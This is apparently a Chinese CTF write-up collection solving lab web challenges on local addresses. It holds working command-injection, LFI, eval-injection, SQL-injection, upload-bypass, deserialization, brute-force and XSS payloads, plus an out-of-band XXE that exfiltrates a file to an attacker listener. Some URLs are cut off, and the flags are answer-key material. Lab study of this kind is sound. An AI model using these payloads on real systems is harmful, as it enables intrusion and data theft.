flag{76068e4998ed991801dabee070b98e35}

blfg_rlx

http://192.168.1.111/blfg_rlx/?vs=240610708&fF=php://input

post内容：QNKCDZO

flag{50817eb3fffe6490f5682b95685c5379}

ceshi_pcap

安卓逆向

cmd_inj

|cat${IFS}flag.php

或者

|catIFS9flag.php

$flag="flag{b1e9ffb667e2c84309677631bbd5319c}

Code

（需要低版本php5）

御剑扫描

./git泄露

Python githack.py http://127.0.0.1/kaoshi/code/.git

url二次编码+php://filter读取

http://127.0.0.1/kaoshi/code/?id=%25%37%38%25%36%61%25%36%34%25%36%62%25%37%39&xxxx=php://filter/read=convert.base64-encode/resource=showpass

cookie_qipian

题目错误

encode_fuzz

一直base64解码

kqfl{jshtij_nx_kzssd}

gif

下载图片打不开文件提示gif，用010editor加入文件头GIF8，打开得

flag{2017_love_U}

henan-html

搜索源代码

//flag{066ac7805b9addc8b2d6c11b762a000f}

html

查看源代码

<!--flag{da4651151477e460a377ccf8b9d38dc5}-->

is_numeric

http://192.168.1.111/is_numeric/?flag=12321a

flag{1ca75377b858abd70643e749d0365544}

jsfuck

查看源代码，拿到后一段代码，御剑扫描拿到前一半代码，拼起来，输入浏览器控制台

/flag{2FEB9A8696037A8FCBE02348FEF2068D}/

lfi

文件包含../返回上级目录

http://192.168.1.111/lfi/lfi.php?file=../flag.txt

flag{99c0da8cf18253a514b81fcbf9c3459f}

lfi1

http://192.168.1.111/lfi1/tip.txt

提示在showpass.php里

构造（注意程序自动加.php）

http://192.168.1.111/lfi1/lfi.php?file=php://filter/read=convert.base64-encode/resource=showpass

base64解码得到

flag{1ca414071f26c2ae42024ff9a884ef94}

lfi2

先用文件包含读出源码（注意后面自动加了.php）

http://192.168.1.111/lfi2/lfi.php?file=php://filter/read=convert.base64-encode/resource=lfi

关键代码：

```
$message = json_decode($_POST['hello']);
include 'flag.php';
$key = '1admin';
if ($message->key === $key) {
    echo $flag;
```

构造

http://192.168.1.111/lfi2/lfi.php

POST内容：hello={"key":"1admin"}

得到

hbctf{6e61f801365dfae11ff2c0a31ce8a92f}

log-ana

访问提示hello world, access_log

御剑扫描得到robots.txt

提示1cd3a9a42e54efc714e38d3184410016.txt

下载http://192.168.1.111/log-ana/1cd3a9a42e54efc714e38d3184410016.txt得到密码字典

访问http://192.168.1.111/log-ana/access_log

得到14b2f00f9f9da788fe75704ac15ca89d.php

访问http://192.168.1.111/log-ana/14b2f00f9f9da788fe75704ac15ca89d.php

bs抓包用密码字典爆破密码password=hbctf-123321

hbctf{c442a79278b9330e9657021e8422f646}

log-ana-1

访问提示6163636573735F6C6F67

hex转str得到access_log

御剑扫描到robots.txt，内容jsfuck编码,输入控制台解码得1cd3a9a42e54efc714e38d3184410016

访问http://192.168.1.111/log-ana-1/1cd3a9a42e54efc714e38d3184410016.txt得到密码字典

访问http://192.168.1.111/log-ana-1/access_log得到地址/5b01aeaa1b321ea91d6405d4c20215cd.php

bs抓包用密码字典爆破密码password=flag-123321!

flag{9f93c1fd3d5dcf4e9955a35347964c1c}

login_brute

写python2脚本登录

```
import requests

import re

s = requests.Session()

for psw in range(11111,13112):

url = "http://192.168.1.111/login_brute"

cont = s.get(url)

# print cont.content.decode('gbk')

reg = re.compile(r'> (\d{3})')

vcode = re.findall(reg,cont.content)[0]

# print vcode

url1 ="http://192.168.1.111/login_brute/index.php?username=admin&password=%s&randcode=%s"%(psw,vcode)
```

print url1

cont1 = s.get(url1)

if len(cont1.content) != 152:

print psw

密码是12679

flag{d7875ba8dec47ca9982659ae2b67112f}

multi/lfi-bk

打开显示代码

<?php

show_source(__FILE__);

include "flag.php";

$a = @$_REQUEST['hello'];

eval("var_dump($a)");

?>

补全后，列目录

http://192.168.1.111/multi/lfi-bk/?hello=1);var_dump(scandir("./"));//

看flag.php内容，linux下使用

http://192.168.1.111/multi/lfi-bk/?hello=1);var_dump(system("cat flag.php"));//

windows下使用type

http://127.0.0.1/kaoshi/multi/lfi-bk/?hello=1);var_dump(system("tpye flag.php"));//

看网页源码

$flag = "flag{33EEC1C26F2C1D2C1674E39A9E55FBA1}";

php_code_audit

操作过程：而最终的文件名后缀取的是$file[count($file) - 1]，因此我们可以让$file为数组。

$file[0]为smi1e.php/，也就是reset($file)，然后再令$file[2]为白名单中的jpg。

此时end($file)等于jpg，$file[count($file) - 1]为空。

而 $file_name = reset($file) . '.' . $file[count($file) - 1];，也就是test.php/.，最终move_uploaded_file会忽略掉/.，最终上传test.php。

解题思路：（数组 + /. 绕过）

抓包改POST内容

----------24911976423672

Content-Disposition: form-data; name="upload_file"; filename="a.jpg"

Content-Type: image/jpeg

<?php phpinfo() ?>

----------24911976423672

Content-Disposition: form-data; name="save_name[0]"

test.php/

----------24911976423672

Content-Disposition: form-data; name="save_name[2]"

jpg

----------24911976423672

Content-Disposition: form-data; name="submit"

上传

----------24911976423672--

得到返回

flag{943c2d99ba900984a201780203ff0cf3}

php_competition

条件竞争，源码允许上传.php5，然后自动写入flag后删除(此题还有上传.php 和.htaccess的漏洞)

bs抓包一直上传a.php5

再开新线程一直访问http://127.0.0.1/kaoshi/php_competition/upload/a.php5，看返回包得到

flag{3cf4c3531d5fe0540bc801bc583c1677}

php_coverage

变量覆盖

http://192.168.1.111/php_coverage/?shiyan=&flag=php://input

flag{2f17778a15349a1253b3426a34aefaeb}

php_md5

php弱类型

http://192.168.1.111/php_md5/?a=240610708

php_sql

（需要php5低版本，php7打不开）

php_ssss

自动打开

http://192.168.1.111/php_ssss/index.php?line=&filename=a2V5cy50eHQ=

filename解码为keys.txt,改为index.php，base64编码：aW5kZXgucGhw

写个脚本读取内容

```
#encoding:utf-8
import requests
for i in range(30):
url = "http://192.168.1.111/php_ssss/index.php?line=%s&filename=aW5kZXgucGhw"%i
s = requests.session()
cont = s.get(url)
print cont.content
```

读出index源码，关键代码：

```
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='key_s.php';
}
```

用modify headers插件设置cookie：margin=margin

读取key_s.php第四行

http://192.168.1.111/php_ssss/index.php?line=4&filename=a2V5X3MucGhw

得到

$a="flag{7b43ec785e76070b9cb93f9ae4022551}";

php_unserialize

反序列化，看源代码，编辑php文件

```
<?php

class foo3{
    public $varr="flag.php";

}

class foo2{
    public $varr = "1";
    public $obj;
    function __construct(){
        $this->obj = new foo3();
    }

}

class foo1{
    public $varr;
    function __construct(){
        $this->varr = new foo2();
    }
}

$new = new foo1();
echo serialize($new);
?>
```

运行生成O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:8:"flag.php";}}}

再访问http://127.0.0.1/kaoshi/php_unserialize/?s=O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:8:"flag.php";}}}

直接得到

#flag{168639beaca5f112d228db52f4f1db42}

php_upload

bs抓包save_name改成数组

----------22735581529881

Content-Disposition: form-data; name="save_name[0]"

test.php

----------22735581529881

Content-Disposition: form-data; name="save_name[2]"

jpg

----------22735581529881

返回

a.jpgflag{943c2d99ba900984a201780203ff0cf3}

php_xxe

有回显：

构造的payload最后输出在username里面就行了，于是构造

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">

]>

<user><username>&test;</username><password>Mikasa</password></user>

ctrl+shift+B转码得到

#flag{4d269b51efa1b0ffb551f3d9865d8cb7}

无回显：

kali下运行 /etc/init.d/apache2 start 启动apache2服务器

在/etc/www/下建立vul.xml文件，内容是：

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.1.122:9090/%file;'>">

然后监听端口nc -lvvp 9090

然后在windows下测试http://192.168.1.122/vul.xml是否能访问

能够访问代表正常

bs抓包改post内容

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE data [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">

<!ENTITY % dtd SYSTEM "http://192.168.1.122/vul.xml">

%dtd; %all;

]>

<user><username>&send;</username><password>admin</password></user>

会在kali下监听到内容，base64解码下，得到flag：

flag{4d269b51efa1b0ffb551f3d9865d8cb7}

phpruo

php弱类型

http://192.168.1.111/phpruo/?message={"key":0}

robots

御剑扫描

flag{4b15082db5a2d3018cf6950553057084}

scan

御剑扫描

flag{e13b6d4fb3100c059d205599a973ccff}

serialize_1

右键查看源码，发现是序列化，加入代码创建对象并赋值：

```
<?php
class CTF{
    public $b;
    public function __destruct()
    {
        echo file_get_contents($this->b);
    }
}
$a = $_POST[a];
$c = new CTF();
$c->b = "flag.php";
echo serialize($c);
?>
```

然后拖入phpstudy运行，得到

O:3:"CTF":1:{s:1:"b";s:8:"flag.php";}

返回网页，构造：

http://127.0.0.1/kaoshi/serialize_1/

POST内容：a=O:3:"CTF":1:{s:1:"b";s:8:"flag.php";}

查看源代码得到

$f= "flag{95def9537c395182f089653bb389dc21}";

serialize_2_

反序列化，看源代码，编辑php文件

```
<?php

class foo3{
    public $varr="flag.php";
```

```
}

class foo2{
    public $varr = "p0desta";
    public $obj;
    function __construct(){
        $this->obj = new foo3();
    }

}

class foo1{
    public $varr;
    function __construct(){
        $this->varr = new foo2();
    }
}

$new = new foo1();
echo serialize($new);
?>
```

运行生成O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:7:"p0desta";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:8:"flag.php";}}}

再访问127.0.0.1/kaoshi/serialize_2_/?file=O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:7:"p0desta";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:8:"flag.php";}}}

查看源代码

$f = "flag{71bed89ab9be9f86eca0cca7f114c31d}";

shangxi_ctf1/7

流量分析liuliangfenxi.pcap，题目丢失

shanxi_ctf2

空

shanxi_ctf3/lfi

同lfi2

shanxi_ctf3/liuliang

流量分析Q3.pcap，题目丢失

sql

简单sql注入

http://192.168.1.108:83/search1.php?id=-1 Union select 1,2,3,4,5,group_concat(your_key) from dky1.flag

flag{c3f28a9d9eddf7e23dba573e6b396b48}

sql_inj

页面有语句提示

可以用异或法检测过滤了哪些关键词

http://192.168.1.108:904/search3.php?id=1^(length("select")!=0)--+

页面返回正常则过滤了，试了下过滤了and or select union，可以大写其中的字母绕过

1.查库

http://192.168.1.108:904/search3.php

?id=-1 Union Select 1,2,3,4,5,group_concat(schema_name) from infOrmation_schema.SCHEMATA#

dky3

（下面直接用hackbar的查询功能）

2.查表

http://192.168.1.108:904/search3.php

?id=-1 Union Select 1,2,3,4,5,
(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TA

flag

3.查列

http://192.168.1.108:904/search3.php

?id=-1 Union Select 1,2,3,4,5,
(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.

your_key

4.查值

http://192.168.1.108:904/search3.php

?id=-1 Union Select 1,2,3,4,5,
(SELECT+GROUP_CONCAT(your_key+SEPARATOR+0x3c62723e)+FROM+flag)#

flag{b8f33e25b4810c7a1871fff6e38912d4}

sql_inj1

看源代码有过滤提示：

```
$id = $_GET['id'];

//过滤sql

$array = array
('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','ord

foreach ($array as $value)

{

    if (substr_count(strtolower($id), $value) > 0)

    {

        exit('包含敏感关键字！'.$value);

     }

}

#urldecode

$id = urldecode($_GET[id]); --><br>
```

这些关键词被过滤，url被编码了一次，所以用url双编码可以绕过

http://192.168.1.108:905/search3.php?id=-1 Union Select 1,2,3,4,5,group_concat(your_key) from
dky4.your_key--+

最后payload：

http://192.168.1.108:905/search3.php?
id=%25%32%64%25%33%31%25%32%30%25%35%35%25%36%65%25%36%39%25%36%66%25%36%6

或者直接用sqlmap跑加--tamper chardoubleencode.py

C:\Users\qhdjs-01\Desktop\tools\sqlmap-master-1.3.11.98>python sqlmap.py -u
http://192.168.1.108:905/search3.php?id=1 --tamper chardoubleencode.py --current-db --dump --batch

flag{8c626d5f1c99251666428d7d31b6864c}

sql1

登录admin admin

http://192.168.1.108:84/search2.php?id=-1 Union select 1,2,3,4,5,group_concat(your_key) from dky2.your_key

flag{b1b768e4610aa403f3c808bb66e6f7e0}

sql2

post注入，username=0x595752746157343d 值是经过base64加密再hex的

同时过滤了--+用#代替

写python脚本：

```
#coding:utf-8
import requests
import base64

def encode_data(input):
input = base64.b64encode(input)
data = ""
for item in input:
data += str(hex(ord(item)))[2:]
return data

s = requests.session()
url = "http://192.168.1.108:809"
user = "-admin' union select 1,2,3,4,5,group_concat(your_key) from dky7.key #"
data = {"username":encode_data(user)}
res = s.post(url,data)
print res.content
```

或者用sqlmap跑，需要改tamper脚本

base64encode.py内容改为

```
    return encodeBase64(payload, binary=False).encode("hex") if payload else payload
```

base64hexencode.py

然后用命令

python sqlmap.py -u http://192.168.1.108:809 --data "username=admin" --tamper base64hexencode.py --batch --current-db --dump

得到：

hbctf{41a5db61b5800f17b5fdfb24709263e5}

sql3

base64加密了id参数，同时过滤了空格，直接sqlmap加tamper脚本跑：

python sqlmap.py -u http://192.168.1.108:818/search3.php?id=MQ== --tamper space2comment,base64encode --current-db --dump --batch

得到

flag{2fe015ed4e85c1c905dbd3c57c974f29}

sql4

看源码发现过滤 关键代码

"/\(|\)|your_key|and|or|select|where|case|when|like|regexp|into|limit|=|for|;/";

加入<a>标签绕过

1、查看数据库

-1 union SEL<a>ECT 1,2,3,4,5,SCHEMA_NAME FROM info<a>rmation_schema.SCHEMATA li<a>mit 1,1

dky6

2、查看表

-1 union sel<a>ect 1,2,3,4,5,TABLE_NAME from info<a>rmation_schema.TABLES WH<a>ERE table_schema li<a>ke 'dky6' li<a>mit 0,1

nicai

3、查看列

-1 union sEL<a>ECT 1,2,3,4,5,COLUMN_NAME from info<a>rmation_schema.COLUMNS wh<a>ere TABLE_NAME li<a>ke 'nicai' an<a>d table_schema li<a>ke 'dky6' li<a>mit 1,1

your_key

4、查看数据

-1 union sel<a>ect 1,2,3,4,5,you<a>r_key from nicai li<a>mit 1,1

flag{2fe015ed4e85c1c905dbd3c57c974f29}

sql5

upload

浏览器验证，上传a,jpg,bs抓包改成a.php

flag{06caf4766a10a7f7ab20517c3bed94a0}

upload_1

上传a.pphphp（双写php）

flag{59a26b68fd3eaad8767b3952e7db53ac}

upload1

00截断bs抓包后改/uploads/%00（%00url解码）

flag{5fea20fd99af0dec9dce946ac48d570a}

upload2

上传.htaccess

hbctf{476d2571da41a04576867ea1380a36d5}

weak-type

username：QNKCDZO

password：240610708

flag{a7681cea7e5389fce415e5b1d4a84d0c}

weak-type1

POST内容：password[]=

或利用该题bug：御剑扫描得到源文件

flag{2b0efc3b8774581f26a84285ccc0e592}

xss

输入</textarea><img src=x onclick=alert("Hi,IamHelen")>//

或者控制台直接输入alert("Hi, I am Helen")运行

flag{bb59176834664f00c8987ce476567e6c}

yinxie

下载1.zip，010分析FFD8开头FFD9结尾猜是jpg图片

改为1.jpg打开得

flag{yinxie_funney}

yinxie2

kali命令foremost 2.jpg分离出两个图片，第二是flag

falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}

zonghe

用户名admin密码123456

御剑扫描到.git还原源代码提示id经过base64加密,str_replace函数过滤了select，可以大写Select绕过

然后进行sql注入，id后用base64编码：

1.查库

http://192.168.1.108:908/search2.php?id=-1' union Select 1,2,3,4,5,group_concat(schema_name) from information_schema.SCHEMATA#

dky5

2.查表

http://192.168.1.108:908/search2.php?id=-1' union Select 1,2,3,4,5,group_concat(table_name) from information_schema.TABLES where table_schema="dky5"#

your_key

3.查列

http://192.168.1.108:908/search2.php?id=-1' union Select 1,2,3,4,5,group_concat(column_name) from information_schema.COLUMNS where table_name="your_key"#

your_key

4.查值

http://192.168.1.108:908/search2.php?id=-1' union Select 1,2,3,4,5,group_concat(your_key) from dky5.your_key#

flag{9b93b2f53ddb0bd6089ef4c41ddd98d4}

最后的payload：

http://192.168.1.108:908/search2.php?
id=LTEnIHVuaW9uIFNlbGVjdCAxLDIsMyw0LDUsZ3JvdXBfY29uY2F0KHlvdXJfa2V5KSBmcm9tIGRreTUueW9

flag{9b93b2f53ddb0bd6089ef4c41ddd98d4}

zonghe1

下载解压得到docx文件

提示flag不在这，解压搜索字符串也没有，再想到任意文件下载，构造：

http://192.168.1.111/zonghe1/readfile.php?file=index.php

提示global.inc.php，构造

http://192.168.1.111/zonghe1/readfile.php?file=global.inc.php

里面有

//flag{5f65cc86cb4f904af73f8653f2033d31}

御剑扫目录得到/admin/login.php构造

http://192.168.1.111/zonghe1/readfile.php?file=admin/login.php

下载得到

//flag{D3FE940EE2DA87EEE359374BD1E08131}

zonghe2

打开提示HOST需要为hbctf.com

bs抓包改Host: hbctf.com

发送提示

只允许从百度跳转到本页面

加入referer: https://www.baidu.com

发送提示

只有管理员能看到flag

分析cookie为文本转hex再转base64再转hex，原本为guest改为admin

Cookie: login=4e6a45324e445a6b4e6a6b325a513d3d

发送得到

hbctf{f897ab1510a9bf8e22b216ded699cf53}